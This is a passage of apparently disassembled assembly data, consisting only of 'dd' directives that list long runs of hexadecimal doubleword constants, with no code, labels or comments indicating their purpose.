		dd 3281868Fh, 304B228Ch, 9D880BA0h, 0D0A110C3h,	0A801E1BBh
		dd 9D3FEE4h, 6CE68B8Dh,	650C4080h, 0A1F849BAh, 29A96A32h
		dd 6EFF1051h, 88BB3188h, 5589A769h, 70440F08h, 0D022842Dh
		dd 22C2F1A5h, 0B924756Dh, 14A35B21h, 7E29E9C6h,	0F502E9EAh
		dd 89A41910h, 0CB22C241h, 21C12448h, 51391A9h, 4AB6449Ch
		dd 71427D48h, 51F9268Ch, 1ACD251Eh, 351680FAh, 84983415h
		dd 2EC30065h, 12BFCFDh,	0CE007AE8h, 12C2963Fh, 0B0268766h
		dd 0AD6000DDh, 518E650Bh, 7D1F09E1h, 4440EB53h,	0F68A32AFh
		dd 573C00BAh, 0E27A98EFh, 740938CAh, 81A930F8h,	9046BBE2h
		dd 3905CDC8h, 9DFB8194h, 9B005ED8h, 0AF33E2E3h,	0CDC30Ah
		dd 0D21FB2EBh, 8ECF1D9Dh, 0A88A3C00h, 80A00FABh, 0CBC20725h
		dd 106DEEA9h, 83E922E0h, 65317600h, 0E7544A7Dh,	1149285h
		dd 6C731FACh, 0FF238B38h, 1C03988Eh, 0AA240870h, 0A88185B6h
		dd 0B5CC4680h, 2579003Ah, 9D4FA752h, 43007B37h,	1202822Fh
		dd 1DC1F7h, 990E2E89h, 32DB9433h, 0A4779F00h, 0E6ED3AD8h
		dd 74974812h, 0E72BB680h, 8500C4C8h, 0D7083D5Ah, 16EBE4h
		dd 5BE3AA7h, 38B37FCEh,	347A1700h, 0D8A0846Bh, 6A5F0020h
		dd 74AEC192h, 5D09FADFh, 0E8B981h, 3F693B01h, 0EF500039h
		dd 0B10711E1h, 0AB00472Fh, 807DEA73h, 96B2F7h, 1824D450h
		dd 8CA8FD84h, 43423E00h, 0BD608A2Ah, 0DBB0E1Bh,	8660C7C4h
		dd 0E1341454h, 0F08E5A00h, 60E85124h, 48F51CF8h, 0A9BDC011h
		dd 530BEAADh, 3FDBD100h, 5F81F25Eh, 561D00B9h, 8A12D774h
		dd 0BE0E5058h, 4B6E7h, 2E47E6DAh, 8FA90064h, 53885A9Ch
		dd 0F203220Ch, 9BD98A5h, 9BA19021h, 5D79486Dh, 0DC5728h
		dd 49072480h, 219283F8h, 51B5100h, 2A84E153h, 0E4590029h
		dd 37B61595h, 6E1FB187h, 0EB4011E6h, 797E844Dh,	7D2F61Eh
		dd 0AEA585D3h, 0C68D3099h, 290005BDh, 0A77E3D7h, 1FC952F9h
		dd 0C0718943h, 0EDA5C8BBh, 0C100F47Ah, 5FF1E367h, 4672F9h
		dd 0CE526E6Ah, 0B00242FAh, 0B635B02h, 426576A5h, 77C48h
		dd 0F266AC3h, 0C800C260h, 32D90740h, 125599h, 9EE0FC6Ch
		dd 0D863A224h, 0B0C0F7F8h, 7DAA7881h, 0B67AFEh,	0AC020B60h
		dd 844DECAh, 512E70Bh, 0B3B4207Ah, 60E4E599h, 0BCC4580Bh
		dd 65E2D7F7h, 0BA5AAF00h, 69AB952Ch, 77140F38h,	0F500B633h
		dd 0CB8C276h, 8DD79A00h, 5B1988CEh, 0F09960DEh,	36A45498h
		dd 7FBB4200h, 0CF408BCh, 15020075h, 8303898Fh, 0A60F18F0h
		dd 30E7DFCCh, 0C4EBA200h, 96980EC0h, 0F85DA100h, 7C1E7D4Ah
		dd 0BCA001E0h, 0B637746Bh, 78E940D1h, 4700F916h, 28406A7Eh
		dd 0E26627h, 2CEABAFEh,	9F8B1382h, 773E1004h, 0A08002CEh
		dd 1A7F2D1h, 40663991h,	0DC8E6738h, 600D7C7h, 895E3009h
		dd 0FCFE96h, 0A1E82523h, 552CC2B1h, 0AB0E5C00h,	459D7CBFh
		dd 876900E6h, 3D46A0E9h, 5EC0F11h, 148FC200h, 2BFBD168h
		dd 17C70002h, 8A1E5E9Fh, 0DF003C65h, 0D973B08Fh, 28555871h
		dd 0B9897E9h, 1A3B4E49h, 2360077h, 0A8F46Ah, 0FE65AABAh
		dd 3ED4BDE1h, 0E3363903h, 0A01E2D1Ah, 489F98h, 0AEB062EBh
		dd 0B5F2778Ch, 5BF81200h, 47180F27h, 29BA0958h,	6880A849h
		dd 4221B5D8h, 0F0C6B420h, 0F01B8993h, 0A01EC873h, 0FBFE132Ch
		dd 0EE700960h, 2CBCD0Fh, 58D42CEh, 1940F485h, 20EB7297h
		dd 3B001C4Ch, 145B6022h, 5925EDF9h, 0C51FA874h,	7BC000E4h
		dd 62170BAEh, 331D6709h, 0AA108599h, 790306EBh,	6977B09Bh
		dd 85355901h, 68EDF876h, 704904D7h, 81FC7918h, 22B34758h
		dd 34890094h, 8B01F2E4h, 0C97800D3h, 403C2773h,	880ECCFBh
		dd 405131B9h, 610791B0h, 81D4A02Bh, 5B42007Bh, 0FACCD897h
		dd 37FAA525h, 0D0D52E00h, 107A4BA2h, 38EA010Fh,	5D6F486h
		dd 67F03055h, 6447251Ch, 4313DB80h, 0E93102h, 279E9C0Bh
		dd 0E33C49FCh, 0A200BA7Ah, 0FE3544FDh, 194AD5Bh, 0B4481B13h
		dd 2019498Bh, 20E5AAACh, 0C6203200h, 0D34D00B5h, 17C87D9Dh
		dd 39000FA7h, 0D579F8FFh, 1F2B18A0h, 7D8CA4AAh,	0E64F2504h
		dd 19688003h, 0A3E66048h, 0BCD91F00h, 0F29DB4Eh, 0C0BF07C1h
		dd 700EE6B4h, 0DD36644Ah, 2B309C04h, 74C0F85Bh,	7D4753A7h
		dd 0CDAD0132h, 27313FDEh, 9480D2BCh, 0D906BD61h, 0B3E96501h
		dd 73DE54A7h, 51CBAFF4h, 8320884Bh, 0C696008Eh,	44E9FF49h
		dd 0B507CEDCh, 1FEF3146h, 0EC3BC0DEh, 5842015h,	2A6AD0D1h
		dd 0CC88041h, 60772EB2h, 22AE9700h, 1256C5CAh, 7E4A061Bh
		dd 28385D20h, 3D001890h, 0F7E493ABh, 0C3F980h, 6976027Dh
		dd 0F0D84C88h, 5273EC03h, 0E83EB5FCh, 648DBAh, 0EA0C924h
		dd 0F4B466F7h, 7E0029F4h, 0B022E40Ah, 3C45EFDh,	0BBE8AC75h
		dd 66F0411Dh, 0A3000129h, 4F2FC3B2h, 484DDB9Bh,	4B0656B9h
		dd 3640DEE4h, 0AE3BF703h, 0C8A49D51h, 3ED1FB7h,	314BEB90h
		dd 0BF88FDD8h, 2600AC5Ah, 417B98Dh, 9B6118h, 83C470DFh
		dd 0FA57020Eh, 0FF78E600h, 73C6D785h, 2EB32EA1h, 0ADA8088h
		dd 0DF518F5Eh, 0F56F0F03h, 0B8E47644h, 0B83715BFh, 77F6168Ch
		dd 0FEA80006h, 0B0DC211Ah, 6600D3F4h, 0B5AA3305h, 2A42D19h
		dd 0C8C34B22h, 0B480DA6Ch, 868C1F34h, 0D81CB107h, 78A7E33Eh
		dd 8F9B30B0h, 0CF6A00AAh, 21EEDDEAh, 4F002B3Fh,	7B59C6D3h
		dd 1364FB22h, 5654854h,	80070EE8h, 0C8A0E32Eh, 0BE8AA02h
		dd 42B58DBDh, 0EE5C8036h, 48CAE417h, 8500B470h,	0F8D80BC5h
		dd 667B3174h, 5F5AB100h, 5E48AF15h, 1BDF0096h, 46F7FA91h
		dd 0B503CD03h, 115AB3A7h, 0B233C09Bh, 7CE407h, 12D2F1DCh
		dd 4341B9C0h, 0E76F3A1Dh, 2290A49h, 0C097A9C0h,	0C7F708h
		dd 5C2114Ah, 0F82AFE27h, 38D6E203h, 0C841DABFh,	5A88778h
		dd 8A37CF70h, 0E863C021h, 0A900E118h, 9B04105Dh, 172F6h
		dd 0CCE26EB3h, 0B4D48A09h, 0E4AECB00h, 956C6A7Dh, 36730011h
		dd 53F8782Fh, 9B7829D5h, 0D5C8F028h, 0A6136A03h, 0F8835814h
		dd 0E24E93h, 77501AA9h
		dd 5BDB3BB9h, 0DF6EEA00h, 62514098h, 0FAD07158h, 378B6h
		dd 0C70D2356h, 73C4F882h, 0AF16200Bh, 90288265h, 1E7860BDh
		dd 5DC90095h, 336CC78Eh, 0EE009D36h, 0DF8BA798h, 3178EAh
		dd 4FCF792Ah, 3C43E0A6h, 0D2B23505h, 83008F14h,	8DB16F5Fh
		dd 0A0F00D6h, 0EFE0CE0h, 4A014F44h, 5CAB24DDh, 12F0BB37h
		dd 78DFABCh, 6D906F34h,	7CCEC0FFh, 0B100E43Eh, 3FC85321h
		dd 468866h, 5D2E4915h, 0AB4CBBC3h, 126EE93Ch, 100370C5h
		dd 0A8111F5Ah, 0DDAF27h, 0A37A5228h, 18A96B4Ch,	0E1BEBF1Ch
		dd 0F216007Eh, 0FB0A9E80h, 0D91300EDh, 8D4E54Ah, 0F8E2ECE8h
		dd 41543C01h, 2BC62AC4h, 0E91BE8h, 0FA958439h, 99223E92h
		dd 1A84800h, 804B60E3h,	1BBF017Dh, 0D261DD5h, 0B0A57006h
		dd 0A5139D00h, 0F643A91h, 0E3A100B8h, 0FB598699h, 0A6002DCAh
		dd 57FD4416h, 7C28DAh, 0E3A348F2h, 873C6376h, 8D12DE00h
		dd 42B5619h, 1B270082h,	377C3592h, 64986CDAh, 180D461Dh
		dd 8A61FD43h, 310898B3h, 426B00A8h, 54AECD0h, 0D27F3BB1h
		dd 150BCB00h, 21406EA9h, 2781011Ch, 7E8D4FB7h, 0D098DFD1h
		dd 0B00073E5h, 0B9103F69h, 3ACEB8E0h, 0EC0082A9h, 8A908DCAh
		dd 191CD65Bh, 97E29FDh,	8159FB94h, 0E1A02511h, 35C460h
		dd 0D00AFF17h, 0B1BE87D8h, 0B93FA47Ch, 66DD9DD1h, 300D3C80h
		dd 6EA05Bh, 855AB2FDh, 0CC4B14DCh, 0A923ED00h, 93C03843h
		dd 84283059h, 0F1D189C8h, 0AD30C501h, 1AAF9754h, 0B9E4D0h
		dd 0FB3CF03Ah, 8EE57A16h, 8AFC7E14h, 50EB50A0h,	71C53000h
		dd 0E82F441Ah, 0B64800B1h, 2A85CD76h, 0CF0124F1h, 425B17C3h
		dd 0EC7113C7h, 7B0DC8h,	344CFECEh, 560F2A66h, 48189F38h
		dd 0F71B0330h, 0D893FDB1h, 7CECD53Dh, 7D071DEDh, 0F4DDC057h
		dd 51C940B6h, 65320A1Ch, 0DEBCB9C0h, 0F22F2086h, 5BF13B15h
		dd 50586F80h, 22783562h, 0D8597A01h, 907F8BD3h,	9031E9FCh
		dd 0FE4BF084h, 417C0140h, 43BA6682h, 4010318Ah,	0D39E59A8h
		dd 8F02C2E6h, 0E10CE330h, 3EC48042h, 0F122F4h, 7B181B87h
		dd 1082484Ch, 1DB3E800h, 885DB7BEh, 375EAC8h, 5345A256h
		dd 0D9E0E494h, 1600E715h, 52CF0A7Dh, 5F5947h, 79F5105h
		dd 337B71E4h, 0BFBBE702h, 602E3F2Dh, 0E54924h, 9C21B4B3h
		dd 1D79221Ah, 8852A90Eh, 81D96080h, 1C45A132h, 0CE06BB5Ch
		dd 0DB400E95h, 0BE2C9AC3h, 0CDE9A300h, 0D463880Fh, 4340104Dh
		dd 25E308AFh, 0E1A2E18Bh, 2F94D89Bh, 6F17D518h,	8ECF19h
		dd 0BCCA8A25h, 75A62641h, 28A70702h, 0A0367722h, 0C18E96A4h
		dd 0E00300B7h, 0B0800B59h, 0FE008CE2h, 0A90E6935h, 7C1AADAh
		dd 0B65CBC33h, 0DB440087h, 0E1E68671h, 5A9EF01h, 8A672F17h
		dd 9051E9ECh, 0F01604E4h, 8203AB73h, 0BC408F14h, 3C07A2BFh
		dd 0F196F79Ch, 7D7A5700h, 0A0DD0C6Bh, 499042ECh, 0F6CC8F07h
		dd 0EE208F8h, 0AECC404Dh, 0C8A9005Ch, 0A68F0A1Ch, 0AD09AB7Ch
		dd 80548A22h, 5CB6F208h, 67101h, 657ED746h, 21F5CD87h
		dd 0E859F000h, 0D670B1E3h, 930F0040h, 4AB6D330h, 0EEEA8C8Ah
		dd 0A1E938h, 0FBA0E280h, 0E80BEDF1h, 1B8D00A7h,	0FD5A7752h
		dd 0C2003B62h, 2ECEF7Ch, 0D34207h, 5D976D7Ah, 73C051E5h
		dd 0A899CF00h, 0C5E40852h, 502F0B9h, 0D0E95A1Ah, 0EC8C0753h
		dd 30008963h, 0FAACB2E5h, 3D644F00h, 0B4BDC58Ah, 29500032h
		dd 892CA602h, 7C30D92Ah, 0E0EFB835h, 7E8B84Dh, 8077F13Eh
		dd 0A1A46E3Dh, 10CC0F3h, 875442E6h, 5E000CB4h, 0F82C203Bh
		dd 0FADE0B81h, 4A31148Fh, 9F11D466h, 0F2E005Bh,	0B7F73746h
		dd 557F096Ah, 64072B8Bh, 44087083h, 0C1002691h,	60F699D2h
		dd 1F86876h, 69345EB8h,	0BEDD759Ah, 4758F648h, 0D0F60FF7h
		dd 21462006h, 0BE8696h,	410DFEB8h, 53ABCD36h, 77A6C400h
		dd 0E3035239h, 0B1AE0014h, 1C3D446Eh, 27092195h, 80FE4FB8h
		dd 0A5A1B995h, 7B820090h, 0CB319F30h, 0F9003ED0h, 74BD56B6h
		dd 0BFE7DB8h, 4AD584F2h, 69D1BF80h, 0EF009482h,	5CD35EE1h
		dd 91088EDh, 0BA3D4884h, 0D09E9007h, 7326F214h,	80651A06h
		dd 0FCF827B5h, 98EB304Ch, 6273F2D9h, 0BA8F19C0h, 0B43B80Bh
		dd 9BFBB48Ch, 0C03B1C20h, 6924E4D7h, 0EB0F5007h, 0A11C40CDh
		dd 1E6D65D4h, 0F85BA0FEh, 85C60900h, 0E9F16126h, 87007C7Bh
		dd 988320CEh, 2FEB9Bh, 0A73AFBC3h, 0CA5176D2h, 0D36E2301h
		dd 597B52D9h, 1ED19EF4h, 8055946Bh, 42BD5AACh, 494CE916h
		dd 0B4701F4Ch, 4C9090A8h, 0A15B2C12h, 0B5C00318h, 61D81851h
		dd 0E2ED20CAh, 1F0E5900h, 8576FC92h, 57E1DAAh, 576F8030h
		dd 0ECDA80EFh, 565D7800h, 0A54AF28Dh, 664300E1h, 6A39F83Fh
		dd 4C98AD1Fh, 7779BF00h, 0B635F765h, 0D72000DFh, 2EBC4B28h
		dd 5900029Dh, 18511ABBh, 70D8212h, 4DB85629h, 10C18009h
		dd 0AA3FC2EBh, 779580EEh, 0F29259A6h, 0F7AF00B4h, 0EB28634Eh
		dd 0B507178Eh, 5705E215h, 0D000AD25h, 827CBFBh,	0B934130Bh
		dd 96F80047h, 4A06BECCh, 70A07703h, 0A899AF2Fh,	2CE7EB8h
		dd 3ACF177Dh, 5863E7B2h, 0FD04900h, 0B9386FF4h,	9EF8000Eh
		dd 6E49FE04h, 0C072D691h, 5E076C00h, 1675207Ah,	98AF7580h
		dd 7FDB0140h, 0EC47B631h, 0E8DD61B5h, 5EE9657h,	4D12CC90h
		dd 1C309ED4h, 0E2B0EAEEh, 83CE00F0h, 0E18A32Bh,	0AB00CAF9h
		dd 0A68ED278h, 90A14AD0h, 0F37870h, 0EAC5EE3Ah,	75122593h
		dd 0FFB42C00h, 1F71B284h, 4E2100DDh, 46387944h,	0BD00080Eh
		dd 0EF14DACCh, 246ED816h, 0AA41B5Ch, 0F2E29Eh, 0CE07597Ch
		dd 79E21633h, 0DCA94730h, 0BF3893h, 0C7F41D26h,	311B0641h
		dd 9DED300h, 9CE8BA07h,	3CF8A045h, 132A7FEBh, 553FE7Ch
		dd 9CCDCh, 0EFA7BDE4h, 2C017465h, 0AB46D3D0h, 0CACCE09Ch
		dd 0A4295804h, 0BD00FD3Bh, 0FC8EDF33h, 2D48B3C0h, 0C6252E50h
		dd 78D00Eh, 89535EBBh, 82CE001Dh, 5B76F32Ch, 0E70758AEh
		dd 3FAA1F4Bh, 8F396AA0h, 0A0E6000Ch, 7275FA1Ch,	0CF03D992h
		dd 0AF1FE847h, 4FB000AEh, 0B45720CAh, 864AEB6Eh, 0C826AC0Ch
		dd 0B0374C7Ah, 80115F1Dh, 688710E1h, 1A0BD503h,	0AFB2A20Bh
		dd 0BD48E230h, 8054CA0Fh, 37FF3DB4h, 8DB818C8h,	0F04019DFh
		dd 4DCD2200h, 46C0FB84h, 72D90E2Bh, 2EC0A3A5h, 0BDD68B43h
		dd 0DC0A1D00h, 8F554E9h, 4444ABAh, 90CA88D8h, 0A55D3668h
		dd 0CFA85906h, 4838C8h,	6AFF4A84h, 8AB9F906h, 26E92000h
		dd 897ABC19h, 478C37F8h, 627D1060h, 6F39F964h, 29480B4h
		dd 0AF4AE935h, 74BB2CEBh, 3DA600DAh, 82BF23D8h,	0C14E513h
		dd 15AF7800h, 9FB9C7h, 249A7B1h, 0F10E99A1h, 8B2CF900h
		dd 0CAEC695h, 11476714h, 0EA1C10AAh, 0B4B0EC0Eh, 76F89000h
		dd 86069375h, 417A0112h, 0A2F3D213h, 3960F6E4h,	0EC00CD04h
		dd 0D3C7F20Ah, 74DD823h, 996CDC2Eh, 7D00A48h, 0D5707AE8h
		dd 1319801Ch, 0B8FE14B5h, 0D132FC00h, 73A3A644h, 461E3F1Dh
		dd 0AFC99487h, 238C300Bh, 4F790314h, 6A08607h, 0A5201A1Ch
		dd 4772A7h, 896AA2D3h, 74F1226Eh, 56D05D03h, 0B08A79ACh
		dd 14DBC64Ah, 8858E947h, 0F3E850h, 4C0B7513h, 0DDF7E177h
		dd 2D7D0979h, 0AA002D98h, 23604A2h, 0C34770h, 48D2CEB7h
		dd 0FA4E5A61h, 0A701A9F2h, 2BD32A60h, 40FE08DAh, 751ADC8h
		dd 7FC83BC1h, 251AC322h, 0EF7D86A0h, 0FA069F00h, 0EE45FC31h
		dd 0A24900AFh, 75C029DBh
		dd 0E1138D7Ah, 0B84064B0h, 22EB6B57h, 67900017h, 0C02C1969h
		dd 0CC007E8Eh, 0CC8994Eh, 99A34h, 0F05E7A59h, 0A9887DEBh
		dd 0C1004FF0h, 9E89FD99h, 7E363h, 32CF184Dh, 0F1F408F6h
		dd 254CA848h, 0ACE0806Eh, 0A814BB4h, 356D8029h,	0E59F00D4h
		dd 82246C9Bh, 4E00547Eh, 0BE9CCED8h, 2F744A6h, 63A05BC3h
		dd 26C1AA77h, 24CC7040h, 1DB4C00h, 0CB4E83F3h, 0AD453E66h
		dd 69007A5Ch, 0E587C056h, 0FD0EE13Ah, 0C0421120h, 15220577h
		dd 1EB70546h, 0C151FC75h, 31580D84h, 0CD08DC50h, 74ADCBA1h
		dd 80A13028h, 0E7A8DF2Ch, 0FE242F68h, 0CD807408h, 0E5E83FA9h
		dd 0F137948h, 8675C13Dh, 0E0B74A0h, 0B002E645h,	0C2E793BFh
		dd 91C2C160h, 2EAEB4D8h, 80DC7BF8h, 5FB7BCCAh, 972607A0h
		dd 37003899h, 0B854F8E2h, 0B0961Eh, 0A9E7FA75h,	17EC271h
		dd 0E936F200h, 46540340h, 0C7100B0Bh, 0E0B876A2h, 0F8EB9F34h
		dd 0D41CB45Bh, 0C505ECEDh, 7485430Ah, 0E553D8D0h, 455000D8h
		dd 0F11A301Eh, 6F12D366h, 0EA9587h, 0DBC1C993h,	641FF23Eh
		dd 7D404171h, 0D675C407h, 9B6500A3h, 0F3A83A91h, 34025FB5h
		dd 45104C4Dh, 0B7336030h, 6971ABh, 0ED2A806Bh, 945774EEh
		dd 19F37101h, 0D7F9538Fh, 24C6D341h, 239F560h, 2B79B498h
		dd 15DE5244h, 0C88A309h, 19B5CC2h, 0DCEDD73h, 82BE0C44h
		dd 3565140h, 0FF846801h, 0C7330085h, 43324DBBh,	0DE00CE26h
		dd 5F4ED2C1h, 0CD5140h,	4CBAC0E1h, 0F1354231h, 18C4B528h
		dd 0B9113760h, 14523473h, 0FCE8965Eh, 0AFD0D63Dh, 11C664F3h
		dd 175704E4h, 93850052h, 90DB451Ch, 0A3009CB8h,	6533050Eh
		dd 0E35037Bh, 9C2C2104h, 0B5E76642h, 0DD142848h, 54D26B00h
		dd 0EB53DE2Bh, 3B8203E2h, 0D48E3033h, 7BD6590Eh, 0E8AC6CABh
		dd 9B2E2E16h, 0A107BCD0h, 37267329h, 0AD234072h, 0D000ACC1h
		dd 86A60789h, 0F1A434h,	314E90D1h, 92012058h, 2B0048F8h
		dd 0C045965h, 2738E609h, 0A3D88E2Eh, 0CAC7D313h, 0E0865E00h
		dd 44EDB2h, 0BA56B32Dh,	926D9DC9h, 0BBFA2200h, 63AEEA2Ah
		dd 7ADA07B0h, 0D0D73306h, 49082042h, 3F13CC04h,	1CB05EDEh
		dd 0DFA80E7Ah, 0B600988Ah, 1E0FB869h, 53BF580Bh, 1B587FAh
		dd 6999620h, 317B0718h,	0E06E485Bh, 3B506AD8h, 0DE30B098h
		dd 47B75154h, 5CE2002Ah, 0B96D036Fh, 0D600C65Ah, 58605B32h
		dd 952251h, 2A8EB28Ah, 1F57EC83h, 8DA49D04h, 1C907E39h
		dd 0A350716h, 0DCD92522h, 690380CCh, 6BD8B502h,	8CE37E3Eh
		dd 10EDAC15h, 453931A3h, 406FE82Ah, 0FD79F8CCh,	31585708h
		dd 2B96802Fh, 933DA545h, 32B90F3Dh, 720B7129h, 0F1D6A178h
		dd 0FC95C06Ah, 19CF58DEh, 94CE278Ah, 0EDF336F7h, 0DDA6F0FAh
		dd 7F190015h, 2A390E5Bh, 0D6482E66h, 0FF990086h, 0E1B584C9h
		dd 72AFF2ADh, 0A9D300B6h, 0E0252986h, 52EC389Dh, 0AB014900h
		dd 27C08478h, 2810CA53h, 565504h, 0BFEA1043h, 0E15F3C99h
		dd 93AB100h, 0B07447A5h, 7D7201B2h, 369BD1A9h, 7FB4E0EAh
		dd 7EE8B3F0h, 96BF040Fh, 80BD8927h, 0B0B95DD5h,	0A0AB0020h
		dd 0B8072397h, 5F743286h, 4B3D9A00h, 926AFD5h, 1E631FD3h
		dd 539909EAh, 31812783h, 2188D7C0h, 83B2FF05h, 5820EE1Dh
		dd 90EBD3BAh, 7C7DF660h, 38E13CAEh, 0EB34501h, 0F409E5ADh
		dd 0DC01BA50h, 453FD14h, 29889C66h, 3688471Bh, 84689006h
		dd 0DF489965h, 2808DA45h, 973142A4h, 1B211324h,	107012D8h
		dd 0D7898115h, 6144F608h, 0D122842Ch, 11CB4282h, 847B314Bh
		dd 42806222h, 323F11CFh, 3E083421h, 4683887Eh, 0B8352688h
		dd 0A7CE1142h, 22148728h, 0FC42CA03h, 22A62711h, 9575007Bh
		dd 4D0163D0h, 0C900DACCh, 9130C025h, 6C8198h, 0C6D87318h
		dd 6D5E0D36h, 0AD9F2600h, 1121EE34h, 4D631CDBh,	942CC05Ch
		dd 4CD36EB5h, 50278505h, 78C06B15h, 0E2661D38h,	960B1C82h
		dd 8CE60042h, 212B9488h, 8E005075h, 6B39E45Bh, 0FE7975h
		dd 85620668h, 49FFDC14h, 382ED000h, 67BF9C84h, 24F04926h
		dd 9F324F00h, 77EFF29Bh, 66BCF00h, 0EB02A679h, 11AA0317h
		dd 6E51BACCh, 0B63210A0h, 843F70C0h, 5E85F0h, 0B739694Fh
		dd 0BF177B02h, 89B3E200h, 7F7180EBh, 0DF8B003Ch, 148ACE6h
		dd 0F3E4F507h, 7812F200h, 1C8C945Eh, 0DD0A3EBBh, 4F142A80h
		dd 952B62D9h, 0F63CAB00h, 2827CC3Eh, 124801C6h,	0BFD5ACCEh
		dd 86F2C00Fh, 17AD3101h, 600BEC29h, 0C9DB2880h,	0E841CE98h
		dd 180763E4h, 0A1EEB9BEh, 753DDE00h, 0B8B183Fh,	0E24DE8F5h
		dd 9AEB3900h, 25C4EFA2h, 1ED60EDAh, 33C08457h, 51A91048h
		dd 9E4F9100h, 5613F78Ch, 73703D6Eh, 0A35B6801h,	201FE8FFh
		dd 0E600D2C8h, 4B093389h, 6029D7h, 0C6DD7984h, 3228860Fh
		dd 25D34707h, 90F08817h, 170F806h, 98807F59h, 0FD46A893h
		dd 0D8FBC196h, 74009933h, 8E066EBEh, 366C6B6h, 0DE2D67AEh
		dd 0F0D8F2E7h, 0BF052FF1h, 34E98798h, 5300A812h, 0F889DB4h
		dd 0B5A600AFh, 916E854Dh, 79F21FF5h, 0DFF85E50h, 0BAEBCF00h
		dd 78BCB636h, 0EC9450D0h, 4A9106CCh, 109674B7h,	369C6102h
		dd 4045E415h, 896B051Ch, 61243082h, 0FAC34200h,	2CE98C9Dh
		dd 0E7100DBh, 0CBA28768h, 5E03A637h, 8E731AC9h,	6594D86Ch
		dd 484F00BAh, 86570E82h, 0B872831Dh, 4AF8800h, 28C9FA38h
		dd 0EACA00B6h, 0D69FAD32h, 2060F912h, 0DB145D11h, 0A3490448h
		dd 0A8E5B26Bh, 0CACF0042h, 0C49A5508h, 747035h,	83031A0Ch
		dd 2FBB908Eh, 56574E00h, 8F8CEE13h, 0CDF10098h,	67999AA2h
		dd 1B00CE4Bh, 49166530h, 0E58C06h, 5F48D22Fh, 7B93DA03h
		dd 71BF1E07h, 0E0707DDBh, 751B7256h, 0A41800E7h, 9FA7DE86h
		dd 0EF0A52C4h, 94125CAAh, 24720E03h, 0F8B9DBD8h, 3F02F85Fh
		dd 790029F5h, 0C3AFDB21h, 7300639Bh, 43BC8506h,	31FFD6h
		dd 6B54CAE4h, 0B681C630h, 7805900h, 3F98C2D9h, 55702Fh
		dd 3AEF3D3Eh, 4F351DE2h, 0E1605C0Eh, 0E961E053h, 3F7CE6Ch
		dd 0A854F39Eh, 6E88B8DCh, 18003E2Dh, 937548F6h,	3CF36502h
		dd 4B80C5D3h, 268EE7D2h, 0B75C01Fh, 0C87F2814h,	893D0EE8h
		dd 9C37C00Ch, 969515Eh,	5CA2F98Bh, 23621D80h, 6EE885BAh
		dd 0EA0013F8h, 96BC6AECh, 24D156D4h, 29205F2h, 46998519h
		dd 0DCCF88h, 0A4816953h, 0E73830E6h, 58A002C2h,	80DE8B6Ch
		dd 1A2685C0h, 61B1E8Dh,	0C979C93Eh, 283D24A1h, 0DCF8D4ECh
		dd 24D54B48h, 0F71DE8DBh, 6557F580h, 2D3662h, 8BE50544h
		dd 0C08FDF89h, 8ACADE00h, 0F1B8C977h, 0E1D23CB1h, 78A20070h
		dd 0CD028038h, 1C002D39h, 0B27C4DC2h, 7D44B6Bh,	70AA8CE9h
		dd 0A0223756h, 17169387h, 59E4BCB0h, 0DCCCE20Fh, 971AE0EEh
		dd 7BC7488h, 0C9F55C8Ah, 167EF089h, 9600ADBAh, 495B4BCDh
		dd 1B045A4h, 0EDFD1813h, 0E4B5F79Ah, 0CA00CD01h, 0E5B61AEFh
		dd 27509C5h, 0BC4EBD42h, 78608264h, 0FF00A079h,	1CD4F93Ah
		dd 0BB990C4h, 0A39D172Eh, 3307D176h, 8009A4B6h,	2062528Ch
		dd 65B30750h, 0A72A9DD0h, 90BE6783h, 57971988h,	0B6D33700h
		dd 4FE6ED4Dh, 9C5C0675h, 70838603h, 74BBC3Dh, 1780492h
		dd 9D6A70C0h, 6CB8A0D4h, 0C24500B7h, 9EE2D0F5h,	9000DD2Bh
		dd 0C9E8738Bh, 0F36C1Eh, 43B0999Ch, 104CBDD0h, 390096F0h
		dd 0A09E4850h, 778DBC51h, 80674F8Eh, 0FA90CA2h,	8F2B2139h
		dd 0A0B1490Dh, 0DACBA730h
		dd 14051620h, 0D0168Dh,	3D593C80h, 3300D8AFh, 0E85D06F6h
		dd 287C71h, 0DBA83A5Ch,	0F702F237h, 211C4A07h, 0C810D4E7h
		dd 7FCB7CB4h, 0AB89009Fh, 9CD2BD27h, 8F2C6AAAh,	5902BC58h
		dd 3F03C2Dh, 9690AEB5h,	0CF39E068h, 0F824A6B9h,	810EDA00h
		dd 5873313Bh, 0AC09082Fh, 0BC208571h, 2B6F3A90h, 601F8D09h
		dd 2C068E21h, 0A098D048h, 1ED093h, 14082E3Dh, 4C8194A0h
		dd 9F8A34Ch, 90AE8E66h,	0BFE9FB0h, 0B3487E35h, 459A5C20h
		dd 1D00ADCFh, 67F1FB91h, 61D9D7h, 0B4BCEE0Fh, 1B51092Eh
		dd 6AEF5F15h, 38A82EF4h, 0DE06803Dh, 1ED46C7Ch,	1B86006Dh
		dd 0E2B512D1h, 8D16A69Bh, 24005163h, 0F928BA9Fh, 1B3C0019h
		dd 9154F779h, 0D400AAA3h, 26B38540h, 7B2CAE28h,	841E00CBh
		dd 97DD0957h, 0E4128C70h, 0DB00D685h, 0AECB9F3Bh, 0C70E002Eh
		dd 0EC2463B9h, 0B000737Eh, 87C559DFh, 488219h, 0B1F0D0E7h
		dd 0E97A665Ch, 7980103h, 0E14259A5h, 3464C2D3h,	72D500EAh
		dd 76F8496Bh, 1E00F4BEh, 0CF76CDAh, 7301F93h, 97BF22E2h
		dd 602010CCh, 0FB0FE5B3h, 0E021A6C0h, 2A8E54F0h, 476C2402h
		dd 0B5580024h, 6FE48370h, 0A9FAEC00h, 7450E0C4h, 0FCA158B8h
		dd 6C16E680h, 0DDB04DFEh, 0D00114E6h, 43BB3101h, 0CCCFAADh
		dd 128EF4F6h, 0DC5386h,	18097524h, 64BA2F07h, 93BF063Ch
		dd 0AC00D2A2h, 0D97732ECh, 10C26108h, 0BF2C2F31h, 1170428h
		dd 1403D1C9h, 30B30F3Ah, 0CC43901h, 0B6CE81F9h,	8F84C20h
		dd 2354E1C7h, 4CA7873Ch, 94A0CD84h, 155243Ah, 0D39AF33Dh
		dd 20F66D4Ah, 0AB0066D3h, 0DA01EEF4h, 3473B24h,	4C5DE933h
		dd 57A8AF6Ch, 133D3AC4h, 0A2AD1283h, 7CC04C1Ch,	0FBAF4D33h
		dd 1AD100DEh, 1DF711CAh, 18B89163h, 0A224E500h,	5897F61Bh
		dd 880D00C4h, 7472BB75h, 0F500370Ah, 55656FEFh,	0C0368C02h
		dd 24703EB0h, 0A900958Ah, 0DFCC8373h, 24223896h, 7A62159h
